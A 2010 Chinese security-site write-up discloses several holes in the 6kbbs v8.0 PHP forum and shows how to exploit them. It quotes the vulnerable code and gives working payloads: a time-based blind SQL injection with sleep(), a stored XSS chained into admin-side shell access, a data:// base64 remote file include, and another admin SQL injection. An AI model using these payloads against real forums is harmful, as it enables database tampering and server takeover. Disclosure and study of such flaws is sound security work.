首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
6kbbs v8.0论坛两个漏洞
来源:http://hi.baidu.com/5427518/blog 作者:k4shifz 发布时间:2010-11-15  

6kbbs V8.0是一个采用 PHP+MySQL 构建的高效能的论坛程序,拥有代码简洁、使用方便、功能强大、速度极快等优点。

总体上:采用utf-8,inc\init.php模拟了magic_quotes_gpc,取消了全局。数字类型过滤严格,字符类型SQL加了单引号。

1. 延迟注射:

ajaxmember.php?action=deleteMsgs 80行

case "deleteMsgs":
$msgids=$_POST['msgids'];
   //DELETE
   if(is_array($msgids)) {
    $delids=implode(",",$msgids);
    echo "id in ($delids) and touserid={$lg['userid']}";
   $db->row_delete("msgs","id in ($delids) and touserid={$lg['userid']}"); //可惜了,是deleted语句,无论结果,只返回 _Y_
   }
   succeedFlag();
break;

没有错误输出,被迫采用延迟的方法:POST一个 msgids[a]=if(1,sleep(10),1) 进入数据库。

 

操作语句是:DELETE FROM `db_msgs` WHERE id in ( if(1,sleep(10),1) ) and touserid=1

系统采用md5(username.userpass)的方式。Exp:

http://www.uudisc.com/filedownload?user=k4shifz&id=3667574



2. 论坛跨站:

ajaxmember.php 34行 设置论坛个人信息:

case "modifyDetails":
$user = $_POST['user']; //接收的user数组没有进行htmlspecialchars

   if(getPopedom(5)==0){
    $user['usertitle']='';
   }

   if($user["email"]==""){
    exit("资料不完整。");
   }

   foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey){
    if(!empty($rkey) && stristr($user['usertitle'],$rkey)){
     exit("自定义头衔含有禁用关键字");
    }
   }

$db->row_update("users",$user,"id={$lg['userid']}"); //存入数据库,函数内SQL有单引号包裹
   succeedFlag();

论坛帖子对输出进行了XSS过滤,个人签名等XSS点无法使用。突破点在后台管理编辑用户的地方,所以比较鸡肋。不过系统后台拿shell方法较多,直接编辑脚本即可,利用方法:

注册用户,修改个人信息,装嫩让管理后台编辑你的用户,拿shell。

利用ajax操作后台的js:

http://www.uudisc.com/user/k4shifz/file/3665675

 

再简单说一下后台:

后台漏洞比较多,编辑脚本拿shell、本地包含,注入,还有个远程包含:

admin\admin.php
......
$inc=strFilter($_GET['inc']);
$action=strFilter($_GET['action']);
......
$inc=str_replace('.','',$inc);echo $inc;
require_once($inc.".php"); //远程包含,可惜在后台

/admin/admin.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=     //phpinfo()

5.2.0以后受制于allow_url_include

捡一个注入:

ajaxadmin.php

case "dotopics":
   try{
    $postaction=$_POST['postaction'];
    $tids=$_POST['tids'];
    if(empty($tids)){
     echo("没有选中帖子。");
     return;
    }
    if(is_array($tids)) {
     $tidstr=implode(",",$tids);
     switch($postaction){
    
      case "delPost":
       $db->row_delete("posts","tid in ({$tidstr}) and fid={$fid}"); //进入数据库查询

发布作者:k4shifz,由情整理编辑


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·ecshop2.72 api.php 文件鸡肋注
·ewebeditor 5.2 列目录漏洞
·PHP 5.x COM functions提权漏洞
·帝国6.5后台拿SHELL
·Destoon B2B SQL注射 & 后台代码
·163K地方门户网站系统getshell 0
·由自定义QQ商业信纸 引发的邮件
·Linux 系统文件描述符继承带来的
·SiteEngine 7.1 SQL注入漏洞0day
·SiteEngine 6.0 SQL注入漏洞0day
·JCMS 2010 file download vulner
·DEDECMS V5.6 继续get shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved